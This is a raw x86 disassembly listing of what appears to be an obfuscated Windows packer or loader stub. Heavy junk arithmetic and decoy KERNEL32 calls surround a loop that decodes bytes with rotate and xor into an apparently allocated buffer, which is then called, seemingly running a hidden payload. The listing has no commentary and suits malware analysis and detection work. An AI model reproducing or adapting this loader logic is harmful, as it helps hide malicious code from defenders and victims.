mov byte [esp + 0x153], al
movzx eax, byte [esp + 0x73]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
sub eax, ecx
mov byte [esp + 0x1d7], al
movzx eax, word [esp + 0x6a]
movzx ecx, word [0x471d7e]
add eax, ecx
mov word [esp + 0x150], ax
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0x1d0]
add eax, dword [ecx]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [esp + 0x127]
sub eax, ecx
mov cl, al
mov eax, dword [0x472ea4]
mov byte [eax], cl
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esp + 0x184]
shl eax, cl
mov ecx, eax
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
mov ecx, dword [esp + 0xb8]
xor eax, dword [ecx]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x1c0]
or eax, dword [ecx]
mov dword [esp + 0x17c], eax
movzx eax, word [esp + 0xfe]
movzx ecx, word [esp + 0x6a]
sar eax, cl
mov word [esp + 0x150], ax
mov eax, dword [esp + 0xe0]
sub eax, 0xbc
mov dword [esp + 0xe0], eax
mov dword [esp], 7
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
sub esp, 4
mov dword [esp + 0x1cc], eax
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
and eax, ecx
mov byte [esp + 0x14f], al
mov eax, dword [esp + 0x6c]
sub eax, dword [esp + 0xd0]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
add eax, dword [esp + 0xe4]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x144]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
sub esp, 4
mov dword [esp + 0x134], eax
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x1c0]
and eax, dword [ecx]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
add eax, dword [esp + 0xd0]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
mov ecx, dword [esp + 0x16c]
movzx ecx, word [ecx]
sub eax, ecx
mov word [0x471d88], ax
movzx eax, byte [esp + 0x73]
movzx ecx, byte [esp + 0x14f]
add eax, ecx
mov cl, al
mov eax, dword [esp + 0x12c]
mov byte [eax], cl
movsx eax, byte [esp + 0x153]
movsx ecx, byte [0x472ea0]
sub eax, ecx
mov byte [esp + 0x127], al
movsx eax, word [esp + 0x192]
movsx ecx, word [esp + 0x17a]
add eax, ecx
mov word [esp + 0x13a], ax
mov eax, dword [esp + 0x6c]
xor eax, dword [esp + 0xd0]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esp + 0x158]
mov ecx, dword [ecx]
sar eax, cl
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
mov ecx, dword [esp + 0x164]
movzx ecx, byte [ecx]
or eax, ecx
mov byte [esp + 0x1bf], al
lea eax, [esp + 0x108]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
sub esp, 4
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [0x471d7e]
shl eax, cl
mov cx, ax
mov eax, dword [esp + 0x16c]
mov word [eax], cx
mov ecx, dword [esp + 0x144]
lea eax, [esp + 0x58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
sub esp, 8
mov dword [esp + 0x1cc], eax
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1c0]
and eax, dword [ecx]
mov dword [esp + 0x184], eax
movsx eax, byte [esp + 0x127]
mov ecx, dword [esp + 0x11c]
movsx ecx, byte [ecx]
add eax, ecx
mov byte [0x472ea0], al
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
sub eax, dword [esp + 0xe4]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
sub eax, dword [esp + 0x17c]
mov dword [esp + 0x34], eax
movzx eax, word [esp + 0xfe]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
add eax, ecx
mov cx, ax
mov eax, dword [esp + 0x16c]
mov word [eax], cx
mov eax, dword [esp + 0x164]
movzx eax, byte [eax]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
and eax, ecx
mov byte [esp + 0x1bf], al
mov ecx, dword [esp + 0xd0]
add ecx, dword [esp + 0xa0]
mov eax, dword [esp + 0x1d0]
mov dword [eax], ecx
jmp 0x402fbe
mov eax, dword [esp + 0xb4]
movsx eax, word [eax]
movsx ecx, word [esp + 0x17a]
sub eax, ecx
movsx ecx, word [esp + 0x13a]
movsx edx, word [esp + 0x192]
sub ecx, edx
cmp eax, ecx
jg 0x4043e6
mov ax, word [esp + 0x17a]
mov word [esp + 0xc6], ax
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x164]
movzx ecx, byte [ecx]
imul eax, ecx
mov byte [esp + 0x14f], al
movzx eax, word [esp + 0x150]
movzx ecx, word [esp + 0x6a]
and eax, ecx
mov word [esp + 0xfe], ax
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x13c]
sub eax, dword [ecx]
mov ecx, dword [esp + 0x180]
mov ecx, dword [ecx]
add ecx, dword [esp + 0x6c]
cmp eax, ecx
je 0x403474
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x13c]
add eax, dword [ecx]
mov dword [esp + 0x78], eax
mov ecx, dword [esp + 0x6c]
sub ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
movzx eax, byte [esp + 0x73]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
add eax, ecx
mov byte [esp + 0x14f], al
mov al, byte [esp + 0x127]
mov ecx, dword [esp + 0xb8]
mov ecx, dword [ecx]
mov edx, dword [esp + 0x158]
mov edx, dword [edx]
mov esi, dword [esp + 0xe4]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
movsx eax, al
mov dword [esp + 0xc], eax
call fcn.004019b0
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
mov dword [esp + 0x28], eax
test eax, eax
je 0x4034a2
jmp 0x40348e
mov eax, dword [esp + 0x28]
sub eax, 0x3aa9
je 0x404312
jmp 0x4043ca
jmp 0x4034a7
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
mov ecx, dword [esp + 0x34]
sar eax, cl
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x164]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1bf]
shl eax, cl
mov cl, al
mov eax, dword [esp + 0x164]
mov byte [eax], cl
mov eax, dword [esp + 0x16c]
movzx eax, word [eax]
movzx ecx, word [esp + 0x150]
or eax, ecx
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x158]
mov ecx, dword [eax]
mov eax, dword [esp + 0x1c0]
xor ecx, dword [eax]
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
movsx eax, byte [esp + 0x153]
movsx ecx, byte [esp + 0x127]
and eax, ecx
mov cl, al
mov eax, dword [esp + 0x11c]
mov byte [eax], cl
mov eax, dword [esp + 0x140]
sub eax, 0xf5
mov dword [esp + 0x140], eax
movsx eax, word [esp + 0x192]
movsx ecx, word [esp + 0x13a]
add eax, ecx
mov word [0x472ea2], ax
movzx eax, word [0x471d7e]
movzx ecx, word [esp + 0xfe]
sub eax, ecx
mov word [esp + 0x6a], ax
mov eax, dword [esp + 0x164]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1bf]
sub eax, ecx
mov cl, al
mov eax, dword [esp + 0x164]
mov byte [eax], cl
mov eax, dword [esp + 0x180]
mov ecx, dword [eax]
sub ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x1c0]
add eax, dword [ecx]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x158]
add eax, dword [ecx]
mov dword [esp + 0x17c], eax
mov ecx, dword [esp + 0xd0]
mov eax, dword [esp + 0x1d0]
and ecx, dword [eax]
mov eax, dword [esp + 0x180]
mov dword [eax], ecx
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
mov ecx, dword [esp + 0xb8]
add eax, dword [ecx]
mov dword [esp + 0x17c], eax
cmp dword [esp + 0x140], 0xeb2
ja 0x4034a7
mov dword [esp + 0x128], 0x40000
mov dword [esp + 0xf0], 0x471d88
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1c0]
mov ecx, dword [ecx]
or eax, ecx
mov dword [0x471d8c], eax
mov eax, dword [esp + 0x12c]
mov al, byte [eax]
mov byte [esp + 0x15f], al
mov eax, dword [esp + 0x17c]
mov cl, byte [0x471d8c]
sar eax, cl
mov dword [esp + 0x184], eax
lea eax, [esp + 0x78]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x158]
mov ecx, dword [ecx]
xor eax, ecx
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x184]
mov cl, byte [esp + 0xe4]
shl eax, cl
mov dword [esp + 0x34], eax
lea eax, [esp + 0x15f]
mov dword [esp + 0x1a4], eax
mov eax, dword [esp + 0xf0]
mov ax, word [eax]
mov word [esp + 0x3e], ax
mov dword [esp + 0x50], 0x75e44c03
mov eax, dword [esp + 0xb4]
movzx eax, word [eax]
movzx ecx, word [esp + 0x13a]
add eax, ecx
mov word [esp + 0x192], ax
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov dword [0x472ea8], eax
mov eax, dword [esp + 0x50]
add eax, 0x8a1bc52b
mov dword [esp + 0x50], eax
lea eax, [esp + 0x153]
mov dword [esp + 0xbc], eax
mov eax, esp
mov dword [eax + 4], 0
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call eax
sub esp, 8
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
mov ecx, dword [esp + 0xe4]
and eax, ecx
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x198], eax
mov eax, dword [esp + 0xb4]
mov ax, word [eax]
test ax, ax
jne 0x4042cf
jmp 0x403785
mov eax, dword [esp + 0x1a4]
mov al, byte [eax]
mov byte [esp + 0x19f], al
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov ecx, dword [esp + 0x94]
add eax, dword [ecx]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x1c0]
sub eax, dword [ecx]
mov dword [esp + 0x17c], eax
lea eax, [esp + 0x17c]
mov dword [esp + 0x154], eax
mov eax, dword [esp + 0x13c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1d0]
sub eax, dword [ecx]
mov dword [0x471d90], eax
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov ecx, dword [esp + 0x94]
sub eax, dword [ecx]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x12c]
mov al, byte [eax]
mov byte [esp + 0x8d], al
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
mov ecx, dword [esp + 0xf0]
movzx ecx, word [ecx]
sub eax, ecx
mov word [esp + 0x150], ax
lea eax, str.O077jhkUo7XGVXtzVoVeQwNfsf
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0xc0000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x1c
mov dword [esp + 0xe8], eax
mov eax, dword [esp + 0x158]
mov ecx, dword [eax]
add ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x154]
mov dword [eax], ecx
mov eax, dword [esp + 0x1b8]
mov ecx, dword [esp + 0x198]
mov edx, dword [esp + 0x50]
mov esi, dword [esp + 0x128]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
call eax
sub esp, 0xc
mov dword [esp + 0xb0], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x118], eax
mov eax, dword [0x472ea8]
and eax, dword [esp + 0x30]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x17c]
mov dword [esp + 0x188], eax
mov eax, dword [esp + 0xb0]
mov dword [esp + 0x1a0], eax
mov eax, dword [esp + 0x1c0]
mov ecx, dword [eax]
mov eax, dword [esp + 0x154]
xor ecx, dword [eax]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
movzx eax, byte [0x471d80]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
or eax, ecx
mov byte [0x471d94], al
mov eax, dword [esp + 0x11c]
mov al, byte [eax]
mov byte [esp + 0x173], al
movsx eax, word [esp + 0x17a]
mov ecx, dword [esp + 0xb4]
movsx ecx, word [ecx]
sar eax, cl
mov word [esp + 0x13a], ax
mov dword [esp + 0x114], 0x397bdc26
lea eax, [esp + 0x3e]
mov dword [esp + 0x90], eax
movzx eax, byte [esp + 0x14f]
movzx ecx, byte [esp + 0x73]
shl eax, cl
mov byte [esp + 0x19f], al
mov dword [esp + 0x120], 0xd9
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
mov dword [esp + 0xf4], eax
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x158]
add eax, dword [ecx]
mov dword [esp + 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [esp + 0x64], eax
movzx eax, word [esp + 0x3e]
movzx ecx, word [esp + 0xfe]
sub eax, ecx
mov cx, ax
mov eax, dword [esp + 0xf0]
mov word [eax], cx
mov al, byte [esp + 0x15f]
mov byte [esp + 0x139], al
mov ax, word [esp + 0xc6]
mov word [0x472eac], ax
mov eax, dword [esp + 0x180]
mov ecx, dword [eax]
and ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x180]
mov dword [eax], ecx
mov eax, dword [esp + 0x118]
mov eax, dword [eax]
mov dword [esp + 0x1c8], eax
mov eax, dword [esp + 0x1b0]
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
add eax, dword [esp + 0x17c]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x94]
mov eax, dword [eax]
mov dword [esp + 0x9c], eax
movzx eax, word [esp + 0xfe]
mov ecx, dword [esp + 0xf0]
movzx ecx, word [ecx]
sub eax, ecx
mov cx, ax
mov eax, dword [esp + 0x16c]
mov word [eax], cx
movzx eax, byte [esp + 0x73]
mov ecx, dword [esp + 0x1a4]
movzx ecx, byte [ecx]
add eax, ecx
mov byte [esp + 0x1d7], al
lea eax, [esp + 0x34]
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x17c]
sub eax, dword [esp + 0x188]
mov dword [esp + 0x34], eax
mov dword [esp + 0xc0], 0x6dfa3610
movsx eax, byte [esp + 0x127]
movsx ecx, byte [esp + 0x173]
sub eax, ecx
mov byte [0x471d95], al
mov ax, word [esp + 0xc6]
mov word [esp + 0x14c], ax
lea eax, str.3O2hSuVYTUW1m83tZ9fKShbqBmrD
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 4
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0x14], 0x80
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x1c
mov dword [esp + 0xd4], eax
mov eax, dword [esp + 0x1a4]
movzx eax, byte [eax]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
add eax, ecx
mov byte [esp + 0x14f], al
mov eax, dword [esp + 0x90]
movzx eax, word [eax]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
add eax, ecx
mov cx, ax
mov eax, dword [esp + 0x16c]
mov word [eax], cx
lea eax, [esp + 0x30]
mov dword [esp + 0xf8], eax
mov eax, dword [esp + 0xc0]
sub eax, 0x68eb4739
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xd0]
add eax, dword [esp + 0xf4]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x1c8]
mov dword [esp + 0xa8], eax
mov eax, dword [esp + 0x120]
cmp eax, dword [esp + 0xc0]
jge 0x4040cd
mov eax, dword [esp + 0x154]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1c0]
mov ecx, dword [ecx]
shl eax, cl
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
xor eax, dword [esp + 0x188]
mov dword [esp + 0x1c8], eax
movzx eax, byte [esp + 0x1d7]
mov ecx, dword [esp + 0x1a4]
movzx ecx, byte [ecx]
or eax, ecx
mov cl, al
mov eax, dword [esp + 0x12c]
mov byte [eax], cl
mov eax, dword [esp + 0xf0]
movzx eax, word [eax]
movzx ecx, word [esp + 0x3e]
sar eax, cl
mov word [0x471d7e], ax
mov eax, dword [esp + 0x94]
mov ecx, dword [eax]
mov eax, dword [esp + 0xf8]
and ecx, dword [eax]
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
sub eax, dword [esp + 0xa8]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x104]
mov al, byte [eax]
mov byte [esp + 0x4b], al
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
sub esp, 0x10
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x1c8]
mov ecx, dword [esp + 0x118]
add eax, dword [ecx]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x180]
mov ecx, dword [eax]
mov eax, dword [esp + 0x13c]
and ecx, dword [eax]
mov eax, dword [esp + 0x94]
mov dword [eax], ecx
mov eax, dword [esp + 0x1a4]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x8d]
sub eax, ecx
mov byte [esp + 0x73], al
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
add eax, ecx
mov word [esp + 0x150], ax
mov al, byte [esp + 0x4b]
mov ecx, dword [esp + 0x114]
rol al, cl
mov byte [esp + 0x4b], al
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
mov ecx, dword [esp + 0xbc]
movsx ecx, byte [ecx]
add eax, ecx
mov byte [esp + 0x153], al
movsx eax, word [esp + 0x17a]
movsx ecx, word [esp + 0x192]
sub eax, ecx
mov cx, ax
mov eax, dword [esp + 0xb4]
mov word [eax], cx
mov eax, dword [esp + 0x13c]
mov eax, dword [eax]
sub eax, dword [esp + 0x30]
mov dword [0x472ea8], eax
mov eax, dword [esp + 0x110]
mov ecx, dword [eax]
mov eax, dword [esp + 0xb8]
xor ecx, dword [eax]
mov eax, dword [esp + 0x110]
mov dword [eax], ecx
movzx eax, word [esp + 0x150]
movzx ecx, word [esp + 0x6a]
or eax, ecx
mov word [esp + 0x3e], ax
movzx eax, byte [esp + 0x4b]
xor eax, dword [esp + 0x114]
mov byte [esp + 0x4b], al
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
shl eax, cl
mov cl, al
mov eax, dword [esp + 0x164]
mov byte [eax], cl
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x110]
mov ecx, dword [ecx]
sar eax, cl
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0xf8]
and eax, dword [ecx]
mov dword [esp + 0x30], eax
mov eax, dword [0x471d84]
mov ecx, dword [esp + 0x154]
add eax, dword [ecx]
mov dword [esp + 0x34], eax
mov cl, byte [esp + 0x4b]
mov eax, dword [esp + 0x1a0]
mov byte [eax], cl
mov eax, dword [esp + 0x184]
sub eax, dword [esp + 0x1c8]
mov dword [esp + 0x188], eax
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
mov ecx, dword [esp + 0xf0]
movzx ecx, word [ecx]
sub eax, ecx
mov word [esp + 0x3e], ax
movzx eax, byte [esp + 0x73]
mov ecx, dword [esp + 0x1a4]
movzx ecx, byte [ecx]
sub eax, ecx
mov byte [0x471d94], al
lea eax, str.VcFuF
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_AddAtomW]
sub esp, 4
mov word [esp + 0x9a], ax
mov eax, dword [esp + 0x180]
mov ecx, dword [eax]
and ecx, dword [esp + 0xa0]
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
mov eax, dword [esp + 0x104]
add eax, 1
mov dword [esp + 0x104], eax
mov ecx, dword [esp + 0x188]
mov eax, dword [esp + 0x154]
sub ecx, dword [eax]
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
add eax, dword [esp + 0xe4]
mov dword [esp + 0xa8], eax
mov eax, dword [0x471d84]
mov ecx, dword [esp + 0xb8]
add eax, dword [ecx]
mov dword [esp + 0x1c8], eax
mov eax, dword [esp + 0x1c8]
mov ecx, dword [esp + 0x110]
add eax, dword [ecx]
mov dword [esp + 0x188], eax
mov eax, dword [esp + 0x1a0]
add eax, 1
mov dword [esp + 0x1a0], eax
movsx eax, byte [esp + 0x153]
movsx ecx, byte [0x471d95]
xor eax, ecx
mov cl, al
mov eax, dword [esp + 0xbc]
mov byte [eax], cl
movsx eax, word [esp + 0x14c]
mov ecx, dword [esp + 0xb4]
movsx ecx, word [ecx]
shl eax, cl
mov word [esp + 0x13a], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x8d]
sar eax, cl
mov byte [esp + 0x1d7], al
mov eax, dword [esp + 0x114]
ror eax, 5
mov dword [esp + 0x114], eax
movsx eax, byte [0x471d95]
mov ecx, dword [esp + 0xbc]
movsx ecx, byte [ecx]
or eax, ecx
mov cl, al
mov eax, dword [0x472ea4]
mov byte [eax], cl
mov eax, dword [esp + 0x13c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1d0]
and eax, dword [ecx]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x94]
mov eax, dword [eax]
mov ecx, dword [esp + 0x13c]
sub eax, dword [ecx]
mov dword [esp + 0x9c], eax
imul eax, dword [esp + 0x114], 0xcfbf
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x164]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1d7]
add eax, ecx
mov byte [esp + 0x14f], al
mov eax, dword [esp + 0x90]
movzx eax, word [eax]
movzx ecx, word [0x471d7e]
add eax, ecx
mov word [esp + 0x6a], ax
mov eax, dword [esp + 0x158]
mov ecx, dword [eax]
mov eax, dword [esp + 0x154]
add ecx, dword [eax]
mov eax, dword [esp + 0x110]
mov dword [eax], ecx
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
sub eax, dword [esp + 0xf4]
mov dword [esp + 0xa0], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [esp + 0x160], eax
mov eax, dword [esp + 0x118]
mov ecx, dword [eax]
and ecx, dword [esp + 0x1c8]
mov eax, dword [esp + 0x118]
mov dword [eax], ecx
mov eax, dword [esp + 0x120]
add eax, 0x79e03
mov dword [esp + 0x120], eax
mov eax, dword [esp + 0x154]
mov ecx, dword [eax]
mov eax, dword [esp + 0xb8]
sub ecx, dword [eax]
mov eax, dword [esp + 0x154]
mov dword [eax], ecx
movzx eax, word [esp + 0xfe]
movzx ecx, word [0x471d7e]
add eax, ecx
mov word [0x471d88], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
mov ecx, dword [esp + 0x164]
movzx ecx, byte [ecx]
sub eax, ecx
mov byte [esp + 0x8d], al
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 0x94]
mov ecx, dword [ecx]
shr eax, cl
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x154]
or eax, dword [ecx]
mov dword [esp + 0x1c8], eax
jmp 0x403ba1
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [esp + 0x173]
shl eax, cl
mov byte [esp + 0x153], al
mov eax, dword [esp + 0xb4]
movsx eax, word [eax]
movsx ecx, word [esp + 0x17a]
xor eax, ecx
mov word [esp + 0xc6], ax
mov ax, word [esp + 0x150]
mov word [esp + 0x8e], ax
movzx eax, byte [esp + 0x14f]
mov ecx, dword [esp + 0x1a4]
movzx ecx, byte [ecx]
imul eax, ecx
mov byte [esp + 0x73], al
lea eax, [0x472ea8]
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0xe8]
mov dword [esp], eax
mov dword [esp + 4], 0x22b4
mov dword [esp + 8], 0xc40
mov dword [esp + 0xc], 0x2972
mov dword [esp + 0x10], 0x3e16
call dword [sym.imp.KERNEL32.dll_LockFile]
sub esp, 0x14
mov dword [esp + 0x134], eax
mov eax, dword [esp + 0xb0]
add eax, 0xaa
mov dword [esp + 0x7c], eax
lea eax, [esp + 0x1c8]
mov dword [0x472eb0], eax
mov ecx, dword [esp + 0x17c]
and ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
mov dword [esp + 0x174], eax
mov eax, dword [esp + 0x1b0]
add eax, 0xaa
mov dword [esp + 0x80], eax
movzx eax, word [esp + 0xfe]
mov ecx, dword [esp + 0x16c]
movzx ecx, word [ecx]
sub eax, ecx
movzx ecx, word [esp + 0x6a]
mov edx, dword [esp + 0x90]
movzx edx, word [edx]
add ecx, edx
cmp eax, ecx
jge 0x40420e
mov eax, dword [esp + 0x17c]
mov ecx, dword [esp + 0x154]
add eax, dword [ecx]
mov dword [esp + 0x188], eax
movzx eax, byte [esp + 0x15f]
movzx ecx, byte [esp + 0x8d]
add eax, ecx
mov cl, al
mov eax, dword [esp + 0x1a4]
mov byte [eax], cl
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
mov ecx, dword [esp + 0xf0]
movzx ecx, word [ecx]
sub eax, ecx
mov word [esp + 0x6a], ax
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x13c]
mov eax, dword [eax]
sub eax, dword [esp + 0x100]
mov dword [esp + 0xa0], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x44], eax
mov eax, dword [0x472eb0]
mov eax, dword [eax]
and eax, dword [esp + 0x17c]
mov dword [0x471d98], eax
lea eax, [esp + 0x7c]
mov dword [esp], eax
call dword [esp + 0xb0]
sub esp, 4
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x14f]
add eax, ecx
mov byte [esp + 0x73], al
movzx eax, word [esp + 0x150]
mov ecx, dword [esp + 0xf0]
movzx ecx, word [ecx]
or eax, ecx
mov word [esp + 0x6a], ax
jmp 0x4042ed
movzx eax, word [esp + 0x3e]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
sub eax, ecx
mov cx, ax
mov eax, dword [esp + 0xf0]
mov word [eax], cx
mov eax, dword [0x471d84]
mov edx, dword [esp + 0xe4]
mov ecx, dword [esp + 0x1c0]
mov ecx, dword [ecx]
mov dword [esp], eax
call fcn.00401b30
sub esp, 4
jmp 0x4043ca
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x158]
add eax, dword [ecx]
mov dword [0x471d84], eax
mov eax, dword [esp + 0xd0]
sub eax, dword [esp + 0x78]
mov dword [esp + 0x6c], eax
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0xa4]
mov esi, dword [esp + 0xac]
mov edi, dword [esp + 0xdc]
mov ebx, dword [esp + 0xac]
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x6c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
mov dword [esp], 0xd6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], eax
call sub.VERSION.dll_VerInstallFileW
sub esp, 0x20
mov dword [esp + 0x100], eax
mov ecx, dword [esp + 0x184]
sub ecx, dword [esp + 0x34]
mov eax, dword [esp + 0xb8]
mov dword [eax], ecx
movsx eax, byte [esp + 0x127]
mov dword [esp], eax
call fcn.00401a50
sub esp, 4
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
and eax, ecx
mov word [esp + 0x150], ax
mov ecx, dword [0x471d84]
add ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
mov eax, dword [esp + 0x34]
xor eax, dword [esp + 0x184]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
